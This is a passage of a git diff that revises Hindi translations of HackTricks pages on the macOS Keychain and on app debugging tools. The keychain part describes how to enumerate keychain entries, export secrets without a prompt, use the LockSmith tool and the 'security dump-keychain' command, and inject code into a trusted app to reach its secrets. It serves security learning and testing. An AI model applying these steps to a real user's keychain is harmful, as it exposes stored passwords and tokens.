कीचेन में एक प्रविष्टि बनाता है**, तो नियम थोड़े अलग होते हैं: +जब एक **एप्लिकेशन कीचेन में एक प्रविष्टि बनाता है**, तो नियम थोड़े अलग होते हैं: -* सभी ऐप्स एन्क्रिप्ट कर सकते हैं। -* केवल **बनाने वाला अनुप्रयोग** (या कोई अन्य ऐप्स जो स्पष्ट रूप से जोड़े गए हैं) निर्यात/डिक्रिप्ट कर सकते हैं (उपयोगकर्ता को प्रॉम्प्ट किए बिना)। -* सभी ऐप्स इंटीग्रिटी चेक देख सकते हैं। -* कोई ऐप्स ACLs को नहीं बदल सकते। +* सभी ऐप एन्क्रिप्ट कर सकते हैं। +* केवल **बनाने वाला एप्लिकेशन** (या कोई अन्य ऐप जो स्पष्ट रूप से जोड़ा गया हो) निर्यात/डिक्रिप्ट कर सकता है (यूजर को प्रॉम्प्ट किए बिना)। +* सभी ऐप इंटीग्रिटी चेक देख सकते हैं। +* कोई ऐप ACLs को नहीं बदल सकता। * **partitionID** को **`teamid:[teamID here]`** पर सेट किया गया है। -## कीचेन तक पहुँच +## Accessing the Keychain ### `security` ```bash @@ -100,21 +87,21 @@ security dump-keychain ~/Library/Keychains/login.keychain-db ### APIs {% hint style="success" %} -**कीचेन एन्यूमरेशन और सीक्रेट्स का डंपिंग** जो **प्रॉम्प्ट नहीं जनरेट करेगा** उसे [**LockSmith**](https://github.com/its-a-feature/LockSmith) टूल से किया जा सकता है। +**कीचेन एन्यूमरेशन और डंपिंग** उन रहस्यों की जो **प्रॉम्प्ट नहीं बनाएंगे** को टूल [**LockSmith**](https://github.com/its-a-feature/LockSmith) के साथ किया जा सकता है। {% endhint %} -प्रत्येक कीचेन एंट्री के बारे में **जानकारी** सूचीबद्ध करें और प्राप्त करें: +प्रत्येक कीचेन प्रविष्टि के बारे में **जानकारी** सूचीबद्ध करें और प्राप्त करें: -* API **`SecItemCopyMatching`** प्रत्येक एंट्री के बारे में जानकारी देता है और इसका उपयोग करते समय कुछ विशेषताएँ सेट की जा सकती हैं: +* API **`SecItemCopyMatching`** प्रत्येक प्रविष्टि के बारे में जानकारी देता है और इसका उपयोग करते समय कुछ विशेषताएँ सेट की जा सकती हैं: * **`kSecReturnData`**: यदि सत्य है, तो यह डेटा को डिक्रिप्ट करने की कोशिश करेगा (संभावित पॉप-अप से बचने के लिए इसे गलत सेट करें) -* **`kSecReturnRef`**: कीचेन आइटम का संदर्भ भी प्राप्त करें (यदि बाद में आप देखते हैं कि आप बिना पॉप-अप के डिक्रिप्ट कर सकते हैं तो इसे सत्य पर सेट करें) -* **`kSecReturnAttributes`**: एंट्रीज़ के बारे में मेटाडेटा प्राप्त करें +* **`kSecReturnRef`**: कीचेन आइटम के लिए संदर्भ भी प्राप्त करें (यदि बाद में आप देखते हैं कि आप बिना पॉप-अप के डिक्रिप्ट कर सकते हैं तो इसे सत्य पर सेट करें) +* **`kSecReturnAttributes`**: प्रविष्टियों के बारे में मेटाडेटा प्राप्त करें * **`kSecMatchLimit`**: कितने परिणाम लौटाने हैं -* **`kSecClass`**: किस प्रकार की कीचेन एंट्री +* **`kSecClass`**: किस प्रकार की कीचेन प्रविष्टि -प्रत्येक एंट्री के **ACLs** प्राप्त करें: +प्रत्येक प्रविष्टि के **ACLs** प्राप्त करें: -* API **`SecAccessCopyACLList`** का उपयोग करके आप **कीचेन आइटम के लिए ACL** प्राप्त कर सकते हैं, और यह ACLs की एक सूची लौटाएगा (जैसे `ACLAuhtorizationExportClear` और अन्य पहले उल्लेखित) जहाँ प्रत्येक सूची में: +* API **`SecAccessCopyACLList`** के साथ आप **कीचेन आइटम के लिए ACL** प्राप्त कर सकते हैं, और यह ACLs की एक सूची लौटाएगा (जैसे `ACLAuhtorizationExportClear` और अन्य पहले उल्लेखित) जहाँ प्रत्येक सूची में: * विवरण * **विश्वसनीय एप्लिकेशन सूची**। यह हो सकता है: * एक ऐप: /Applications/Slack.app @@ -126,44 +113,33 @@ security dump-keychain ~/Library/Keychains/login.keychain-db * API **`SecKeychainItemCopyContent`** प्लेनटेक्स्ट प्राप्त करता है * API **`SecItemExport`** कुंजी और प्रमाणपत्रों को निर्यात करता है लेकिन सामग्री को एन्क्रिप्टेड निर्यात करने के लिए पासवर्ड सेट करने की आवश्यकता हो सकती है -और ये हैं **आवश्यकताएँ** ताकि आप **बिना प्रॉम्प्ट के एक सीक्रेट निर्यात कर सकें**: +और ये हैं **निर्धारण** बिना प्रॉम्प्ट के **एक रहस्य निर्यात करने** के लिए: * यदि **1+ विश्वसनीय** ऐप्स सूचीबद्ध हैं: -* उचित **अधिकार** की आवश्यकता है (**`Nil`**, या सीक्रेट जानकारी तक पहुँचने के लिए अनुमति सूची में **भाग** होना) -* **PartitionID** से मेल खाने के लिए कोड सिग्नेचर की आवश्यकता है -* एक **विश्वसनीय ऐप** का कोड सिग्नेचर मेल खाने की आवश्यकता है (या सही KeychainAccessGroup का सदस्य होना) +* उचित **अधिकार** की आवश्यकता है (**`Nil`**, या रहस्य जानकारी तक पहुँचने के लिए अनुमति सूची में **भाग** होना) +* **PartitionID** से मेल खाने के लिए कोड हस्ताक्षर की आवश्यकता है +* एक **विश्वसनीय ऐप** का कोड हस्ताक्षर मेल खाने की आवश्यकता है (या सही KeychainAccessGroup का सदस्य होना) * यदि **सभी एप्लिकेशन विश्वसनीय** हैं: * उचित **अधिकार** की आवश्यकता है -* **PartitionID** से मेल खाने के लिए कोड सिग्नेचर की आवश्यकता है +* **PartitionID** से मेल खाने के लिए कोड हस्ताक्षर की आवश्यकता है * यदि **कोई PartitionID नहीं है**, तो यह आवश्यक नहीं है {% hint style="danger" %} इसलिए, यदि **1 एप्लिकेशन सूचीबद्ध है**, तो आपको **उस एप्लिकेशन में कोड इंजेक्ट करने** की आवश्यकता है। -यदि **apple** **partitionID** में इंगित है, तो आप इसे **`osascript`** के साथ एक्सेस कर सकते हैं इसलिए कुछ भी जो partitionID में apple के साथ सभी एप्लिकेशनों पर भरोसा कर रहा है। इसके लिए **`Python`** का भी उपयोग किया जा सकता है। +यदि **एप्पल** **partitionID** में इंगित है, तो आप इसे **`osascript`** के साथ एक्सेस कर सकते हैं इसलिए कुछ भी जो partitionID में एप्पल के साथ सभी एप्लिकेशनों पर भरोसा कर रहा है। इसके लिए **`Python`** का भी उपयोग किया जा सकता है। {% endhint %} -### Two additional attributes +### दो अतिरिक्त विशेषताएँ -* **अदृश्य**: यह **UI** कीचेन ऐप से एंट्री को **छिपाने** के लिए एक बूलियन फ्लैग है -* **सामान्य**: यह **मेटाडेटा** को स्टोर करने के लिए है (इसलिए यह एन्क्रिप्टेड नहीं है) -* Microsoft सभी रिफ्रेश टोकन को संवेदनशील एंडपॉइंट तक पहुँचने के लिए प्लेन टेक्स्ट में स्टोर कर रहा था। +* **अदृश्य**: यह **UI** कीचेन ऐप से प्रविष्टि को **छिपाने** के लिए एक बूलियन ध्वज है +* **सामान्य**: यह **मेटाडेटा** संग्रहीत करने के लिए है (इसलिए यह एन्क्रिप्टेड नहीं है) +* माइक्रोसॉफ्ट संवेदनशील एंडपॉइंट तक पहुँचने के लिए सभी रिफ्रेश टोकन को प्लेन टेक्स्ट में संग्रहीत कर रहा था। -## References +## संदर्भ * [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मैलवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -173,9 +149,9 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जाँच करें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके। {% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 65f614d5a..73f98caa3 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: 
 </details>
 {% endhint %}
 
-### [WhiteIntel](https://whiteintel.io)
-
-<figure><img src=
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **चुराने वाले मालवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Static Analysis @@ -128,7 +115,7 @@ It will be mounted in `/Volumes` ### Packed binaries * उच्च एंट्रॉपी के लिए जांचें -* स्ट्रिंग्स की जांच करें (क्या लगभग कोई समझने योग्य स्ट्रिंग नहीं है, पैक किया गया) +* स्ट्रिंग्स की जांच करें (क्या लगभग कोई समझने योग्य स्ट्रिंग नहीं है, पैक किया गया है) * MacOS के लिए UPX पैकर एक सेक्शन बनाता है जिसे "\_\_XHDR" कहा जाता है ## Static Objective-C analysis @@ -136,7 +123,7 @@ It will be mounted in `/Volumes` ### Metadata {% hint style="danger" %} -ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन को बनाए रखते हैं** **जब** **[Mach-O बाइनरी](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में **कंपाइल** किए जाते हैं। ऐसे क्लास डिक्लेरेशन **में शामिल हैं**: +ध्यान दें कि Objective-C में लिखे गए प्रोग्राम **क्लास डिक्लेरेशन** को **रखते हैं** **जब** **कंपाइल** किया जाता है [Mach-O बाइनरीज़](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) में। ऐसे क्लास डिक्लेरेशन **शामिल** करते हैं: {% endhint %} * परिभाषित इंटरफेस @@ -144,7 +131,7 @@ It will be mounted in `/Volumes` * इंटरफेस इंस्टेंस वेरिएबल्स * परिभाषित प्रोटोकॉल -ध्यान दें कि ये नाम उलझाए जा सकते हैं ताकि बाइनरी का रिवर्सिंग करना अधिक कठिन हो जाए। +ध्यान दें कि ये नाम बाइनरी के रिवर्सिंग को अधिक कठिन बनाने के लिए छिपाए जा सकते हैं। ### Function calling @@ -154,7 +141,7 @@ It will be mounted in `/Volumes` इस फ़ंक्शन की अपेक्षित पैरामीटर हैं: -* पहला पैरामीटर (**self**) "एक पॉइंटर है जो **उस क्लास के इंस्टेंस की ओर इशारा करता है जो संदेश प्राप्त करने वाला है**"। या सरल शब्दों में, यह वह ऑब्जेक्ट है जिस पर विधि को लागू किया जा रहा है। यदि विधि एक क्लास विधि है, तो यह क्लास ऑब्जेक्ट का एक इंस्टेंस होगा (जैसे एक संपूर्ण), जबकि एक इंस्टेंस विधि के लिए, self उस क्लास का एक इंस्टेंस ऑब्जेक्ट की ओर इशारा करेगा। +* पहला पैरामीटर (**self**) "एक पॉइंटर है जो **क्लास के इंस्टेंस की ओर इशारा करता है जो संदेश प्राप्त करने वाला है**"। या सरल शब्दों में, यह वह ऑब्जेक्ट है जिस पर विधि को लागू किया जा रहा है। यदि विधि एक क्लास विधि है, तो यह क्लास ऑब्जेक्ट का एक इंस्टेंस होगा (जैसे एक संपूर्ण), जबकि एक इंस्टेंस विधि के लिए, self क्लास के एक इंस्टेंस को ऑब्जेक्ट के रूप में इंगित करेगा। * दूसरा पैरामीटर, (**op**), "विधि का चयनकर्ता है जो संदेश को संभालता है"। फिर से, सरल शब्दों में, यह बस **विधि का नाम है।** * शेष पैरामीटर वे **मान हैं जो विधि द्वारा आवश्यक हैं** (op)। @@ -180,7 +167,7 @@ x64: ### Dynadump -[**Dynadump**](https://github.com/DerekSelander/dynadump) एक उपकरण है जो Objective-C बाइनरी को क्लास-डंप करता है। गिटहब में dylibs निर्दिष्ट हैं लेकिन यह निष्पादन योग्य फ़ाइलों के साथ भी काम करता है। +[**Dynadump**](https://github.com/DerekSelander/dynadump) एक उपकरण है जो Objective-C बाइनरीज़ को क्लास-डंप करता है। गिटहब डायलिब्स को निर्दिष्ट करता है लेकिन यह निष्पादन योग्य फ़ाइलों के साथ भी काम करता है। ```bash ./dynadump dump /path/to/bin ``` @@ -209,9 +196,9 @@ print(metadata.to_decl()) ``` ## Static Swift analysis -Swift बाइनरीज़ के साथ, चूंकि इसमें Objective-C संगतता है, कभी-कभी आप [class-dump](https://github.com/nygard/class-dump/) का उपयोग करके घोषणाएँ निकाल सकते हैं लेकिन हमेशा नहीं। +Swift बाइनरी के साथ, चूंकि इसमें Objective-C संगतता है, कभी-कभी आप [class-dump](https://github.com/nygard/class-dump/) का उपयोग करके घोषणाएँ निकाल सकते हैं लेकिन हमेशा नहीं। -**`jtool -l`** या **`otool -l`** कमांड लाइनों के साथ यह संभव है कि आप कई सेक्शन खोज सकें जो **`__swift5`** उपसर्ग से शुरू होते हैं: +**`jtool -l`** या **`otool -l`** कमांड लाइनों के साथ यह संभव है कि आप कई सेक्शन पा सकें जो **`__swift5`** उपसर्ग से शुरू होते हैं: ```bash jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO @@ -223,9 +210,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture [...] ``` -आप इस अनुभाग में संग्रहीत [**जानकारी के बारे में आगे की जानकारी इस ब्लॉग पोस्ट में पा सकते हैं**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)। +आप इस [**ब्लॉग पोस्ट में इन अनुभागों में संग्रहीत जानकारी के बारे में और जानकारी प्राप्त कर सकते हैं**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)। -इसके अलावा, **Swift बाइनरी में प्रतीक हो सकते हैं** (उदाहरण के लिए पुस्तकालयों को प्रतीकों को संग्रहीत करने की आवश्यकता होती है ताकि इसके कार्यों को कॉल किया जा सके)। **प्रतीकों में आमतौर पर कार्य के नाम और विशेषता के बारे में जानकारी होती है** और यह एक भद्दे तरीके से होती है, इसलिए ये बहुत उपयोगी होते हैं और ऐसे "**डेमैंग्लर्स"** होते हैं जो मूल नाम प्राप्त कर सकते हैं: +इसके अलावा, **Swift बाइनरी में प्रतीक हो सकते हैं** (उदाहरण के लिए पुस्तकालयों को प्रतीकों को संग्रहीत करने की आवश्यकता होती है ताकि इसके कार्यों को कॉल किया जा सके)। **प्रतीकों में आमतौर पर कार्य का नाम** और विशेषता के बारे में जानकारी होती है, इसलिए वे बहुत उपयोगी होते हैं और ऐसे "**डेमैंग्लर्स"** होते हैं जो मूल नाम प्राप्त कर सकते हैं: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -264,13 +251,13 @@ macOS कुछ दिलचस्प APIs को उजागर करता * `com.apple.sysdiagnose.CacheDelete`: /var/rmp में पुराने आर्काइव को हटाता है * `com.apple.sysdiagnose.kernel.ipc`: विशेष पोर्ट 23 (kernel) -* `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C वर्ग के माध्यम से उपयोगकर्ता मोड इंटरफ़ेस। एक dict में तीन तर्क पास किए जा सकते हैं (`compress`, `display`, `run`) +* `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-C क्लास के माध्यम से उपयोगकर्ता मोड इंटरफेस। एक dict में तीन तर्क पास किए जा सकते हैं (`compress`, `display`, `run`) ### यूनिफाइड लॉग्स MacOS बहुत सारे लॉग उत्पन्न करता है जो एक एप्लिकेशन चलाते समय **यह समझने में बहुत उपयोगी हो सकते हैं कि यह क्या कर रहा है**। -इसके अलावा, कुछ लॉग्स में `` टैग होगा ताकि कुछ **उपयोगकर्ता** या **कंप्यूटर** **पहचान योग्य** जानकारी को **छिपाया** जा सके। हालाँकि, इस जानकारी को प्रकट करने के लिए **एक प्रमाणपत्र स्थापित करना संभव है**। [**यहाँ**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) से स्पष्टीकरण का पालन करें। +इसके अलावा, कुछ लॉग्स में `` टैग होगा ताकि कुछ **उपयोगकर्ता** या **कंप्यूटर** **पहचानने योग्य** जानकारी को **छिपाया** जा सके। हालाँकि, इस जानकारी को प्रकट करने के लिए **एक प्रमाणपत्र स्थापित करना संभव है**। [**यहाँ**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) से स्पष्टीकरण का पालन करें। ### हॉप्पर @@ -284,7 +271,7 @@ MacOS बहुत सारे लॉग उत्पन्न करता ह
-कोड ऑब्जेक्ट पर दाएं क्लिक करने पर आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डी-कंपाइल किए गए प्सेडोकोड में काम नहीं करता): +कोड ऑब्जेक्ट पर दाएं क्लिक करने पर आप **उस ऑब्जेक्ट के लिए संदर्भ** देख सकते हैं या यहां तक कि इसका नाम बदल सकते हैं (यह डी-कंपाइल किए गए प्स्यूडोकोड में काम नहीं करता):
@@ -296,7 +283,7 @@ MacOS बहुत सारे लॉग उत्पन्न करता ह ### डीट्रैस -यह उपयोगकर्ताओं को अनुप्रयोगों तक अत्यधिक **निम्न स्तर** पर पहुंच प्रदान करता है और उपयोगकर्ताओं को **कार्यक्रमों को ट्रेस** करने और यहां तक कि उनके निष्पादन प्रवाह को बदलने का एक तरीका प्रदान करता है। Dtrace **प्रोब्स** का उपयोग करता है जो **कर्नेल के चारों ओर रखे जाते हैं** और सिस्टम कॉल के प्रारंभ और अंत जैसे स्थानों पर होते हैं। +यह उपयोगकर्ताओं को अनुप्रयोगों तक अत्यधिक **निम्न स्तर** पर पहुंच प्रदान करता है और उपयोगकर्ताओं को **कार्यक्रमों को ट्रेस** करने और यहां तक कि उनके निष्पादन प्रवाह को बदलने का एक तरीका प्रदान करता है। Dtrace **प्रोब्स** का उपयोग करता है जो **कर्नेल के चारों ओर रखे जाते हैं** और सिस्टम कॉल के आरंभ और अंत जैसे स्थानों पर होते हैं। DTrace प्रत्येक सिस्टम कॉल के लिए एक प्रोब बनाने के लिए **`dtrace_probe_create`** फ़ंक्शन का उपयोग करता है। ये प्रोब्स **प्रवेश और निकास बिंदु पर फायर किए जा सकते हैं**। DTrace के साथ इंटरैक्शन /dev/dtrace के माध्यम से होता है जो केवल रूट उपयोगकर्ता के लिए उपलब्ध है। @@ -320,7 +307,7 @@ ID PROVIDER MODULE FUNCTION NAME DTrace को प्रोब्स को सक्रिय करने और जब वे फायर होते हैं तो कौन से क्रियाएँ करनी हैं, यह निर्दिष्ट करने के लिए, हमें D भाषा का उपयोग करने की आवश्यकता होगी। -एक अधिक विस्तृत व्याख्या और अधिक उदाहरण [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) पर मिल सकते हैं। +एक अधिक विस्तृत व्याख्या और अधिक उदाहरण [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) पर पाया जा सकता है। #### उदाहरण @@ -392,7 +379,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 इस जानकारी को प्राप्त करने के लिए Apple उपकरण **`trace`** या कस्टम उपकरण [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** का उपयोग करना संभव है।** -**ध्यान दें कि Kdebug केवल एक ग्राहक के लिए एक समय में उपलब्ध है।** इसलिए एक समय में केवल एक k-debug संचालित उपकरण को निष्पादित किया जा सकता है। +**ध्यान दें कि Kdebug केवल एक ग्राहक के लिए एक समय में उपलब्ध है।** इसलिए एक समय में केवल एक k-debug संचालित उपकरण चलाया जा सकता है। ### ktrace @@ -410,7 +397,7 @@ Or `tailspin`. यह कर्नेल स्तर की प्रोफाइलिंग करने के लिए उपयोग किया जाता है और इसे `Kdebug` कॉलआउट्स का उपयोग करके बनाया गया है। -बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और इसे सेट किया जाता है, यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड चयनित में से एक से मेल खाता है, तो इसे "क्रियाएँ" के रूप में एक बिटमैप के रूप में कॉन्फ़िगर किया जाता है (विकल्पों के लिए `osfmk/kperf/action.h` देखें)। +बुनियादी रूप से, वैश्विक चर `kernel_debug_active` की जांच की जाती है और इसे सेट किया जाता है, यह `kperf_kdebug_handler` को `Kdebug` कोड और कर्नेल फ्रेम के पते के साथ कॉल करता है। यदि `Kdebug` कोड में से एक चयनित के साथ मेल खाता है, तो यह "क्रियाएँ" को बिटमैप के रूप में कॉन्फ़िगर करता है (विकल्पों के लिए `osfmk/kperf/action.h` देखें)। Kperf का एक sysctl MIB तालिका भी है: (रूट के रूप में) `sysctl kperf`। ये कोड `osfmk/kperf/kperfbsd.c` में पाए जा सकते हैं। @@ -418,7 +405,7 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क ### ProcessMonitor -[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) एक बहुत उपयोगी उपकरण है जो यह जांचने के लिए है कि एक प्रक्रिया कौन-कौन से क्रियाएँ कर रही है (उदाहरण के लिए, यह मॉनिटर करें कि एक प्रक्रिया कौन-सी नई प्रक्रियाएँ बना रही है)। +[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) एक बहुत उपयोगी उपकरण है जो यह जांचने के लिए है कि एक प्रक्रिया कौन-कौन से क्रियाएँ कर रही है (उदाहरण के लिए, यह मॉनिटर करें कि एक प्रक्रिया कौन-कौन से नए प्रक्रियाएँ बना रही है)। ### SpriteTree @@ -433,7 +420,7 @@ Kperf का एक sysctl MIB तालिका भी है: (रूट क ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं के रिकॉर्डिंग को शुरू और बंद करने की अनुमति देता है, इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और json प्रारूप में रिकॉर्ड की गई घटनाओं को सहेजने की कार्यक्षमता प्रदान करता है। +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) एक GUI उपकरण है जिसका रूप और अनुभव Windows उपयोगकर्ताओं को Microsoft Sysinternal के _Procmon_ से परिचित हो सकता है। यह उपकरण विभिन्न प्रकार की घटनाओं को रिकॉर्ड करने की अनुमति देता है, जिन्हें शुरू और बंद किया जा सकता है, और इन घटनाओं को फ़ाइल, प्रक्रिया, नेटवर्क, आदि जैसी श्रेणियों द्वारा फ़िल्टर करने की अनुमति देता है, और json प्रारूप में रिकॉर्ड की गई घटनाओं को सहेजने की कार्यक्षमता प्रदान करता है। ### Apple Instruments @@ -474,7 +461,7 @@ settings set target.x86-disassembly-flavor intel lldb के अंदर, `process save-core` के साथ एक प्रक्रिया को डंप करें {% endhint %} -
(lldb) कमांडविवरण
run (r)कार्यवाही शुरू करना, जो तब तक जारी रहेगा जब तक कि एक ब्रेकपॉइंट हिट न हो या प्रक्रिया समाप्त न हो जाए।
process launch --stop-at-entryप्रवेश बिंदु पर रुकते हुए कार्यवाही शुरू करें
continue (c)डीबग की गई प्रक्रिया की कार्यवाही जारी रखें।
nexti (n / ni)अगली निर्देश को निष्पादित करें। यह कमांड फ़ंक्शन कॉल को छोड़ देगा।
stepi (s / si)अगली निर्देश को निष्पादित करें। अगले कमांड के विपरीत, यह कमांड फ़ंक्शन कॉल में कदम रखेगा।
finish (f)वर्तमान फ़ंक्शन में शेष निर्देशों को निष्पादित करें (“फ्रेम”) लौटें और रुकें।
control + cकार्यवाही को रोकें। यदि प्रक्रिया को चलाया गया है (r) या जारी रखा गया है (c), तो यह प्रक्रिया को रोक देगा ...जहाँ भी यह वर्तमान में निष्पादित हो रही है।
breakpoint (b)

b main #कोई भी फ़ंक्शन जिसे main कहा जाता है

b <binname>`main #बिन का मुख्य फ़ंक्शन

b set -n main --shlib <lib_name> #संकेतित बिन का मुख्य फ़ंक्शन

breakpoint set -r '\[NSFileManager .*\]$' #कोई भी NSFileManager विधि

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # उस पुस्तकालय के सभी फ़ंक्शनों में ब्रेक

b -a 0x0000000100004bd9

br l #ब्रेकपॉइंट सूची

br e/dis <num> #ब्रेकपॉइंट सक्षम/अक्षम करें

breakpoint delete <num>

help

help breakpoint #ब्रेकपॉइंट कमांड की मदद प्राप्त करें

help memory write #मेमोरी में लिखने के लिए मदद प्राप्त करें

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>मेमोरी को एक शून्य-टर्मिनेटेड स्ट्रिंग के रूप में प्रदर्शित करें।
x/i <reg/memory address>मेमोरी को असेंबली निर्देश के रूप में प्रदर्शित करें।
x/b <reg/memory address>मेमोरी को बाइट के रूप में प्रदर्शित करें।
print object (po)

यह उस ऑब्जेक्ट को प्रिंट करेगा जिसका संदर्भ पैरामीटर द्वारा दिया गया है

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

ध्यान दें कि Apple के अधिकांश Objective-C APIs या विधियाँ ऑब्जेक्ट लौटाती हैं, और इसलिए उन्हें “print object” (po) कमांड के माध्यम से प्रदर्शित किया जाना चाहिए। यदि po अर्थपूर्ण आउटपुट नहीं देता है तो x/b का उपयोग करें

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #उस पते में AAAA लिखें
memory write -f s $rip+0x11f+7 "AAAA" #पते में AAAA लिखें
disassembly

dis #वर्तमान फ़ंक्शन का डिसासेम्बल करें

dis -n <funcname> #फ़ंक्शन का डिसासेम्बल करें

dis -n <funcname> -b <basename> #फ़ंक्शन का डिसासेम्बल करें
dis -c 6 #6 पंक्तियों का डिसासेम्बल करें
dis -c 0x100003764 -e 0x100003768 #एक जोड़ से दूसरे तक
dis -p -c 4 #वर्तमान पते से डिसासेम्बल करना शुरू करें

parrayparray 3 (char **)$x1 #x1 रजिस्टर में 3 घटकों का ऐरे जांचें
image dump sectionsवर्तमान प्रक्रिया की मेमोरी का मानचित्र प्रिंट करें
image dump symtab <library>image dump symtab CoreNLP #CoreNLP से सभी प्रतीकों के पते प्राप्त करें
+
(lldb) कमांडविवरण
run (r)कार्यवाही शुरू करना, जो तब तक जारी रहेगा जब तक कि एक ब्रेकपॉइंट हिट न हो या प्रक्रिया समाप्त न हो जाए।
process launch --stop-at-entryप्रवेश बिंदु पर रुकते हुए कार्यवाही शुरू करें
continue (c)डीबग की गई प्रक्रिया की कार्यवाही जारी रखें।
nexti (n / ni)अगली निर्देश को निष्पादित करें। यह कमांड फ़ंक्शन कॉल को छोड़ देगा।
stepi (s / si)अगली निर्देश को निष्पादित करें। अगली कमांड के विपरीत, यह कमांड फ़ंक्शन कॉल में कदम रखेगा।
finish (f)वर्तमान फ़ंक्शन (“फ्रेम”) में शेष निर्देशों को निष्पादित करें, लौटें और रुकें।
control + cकार्यवाही को रोकें। यदि प्रक्रिया को चलाया गया है (r) या जारी रखा गया है (c), तो यह प्रक्रिया को रोक देगा ...जहाँ भी यह वर्तमान में निष्पादित हो रही है।
breakpoint (b)

b main #कोई भी फ़ंक्शन जिसे main कहा जाता है

b <binname>`main #बिन का मुख्य फ़ंक्शन

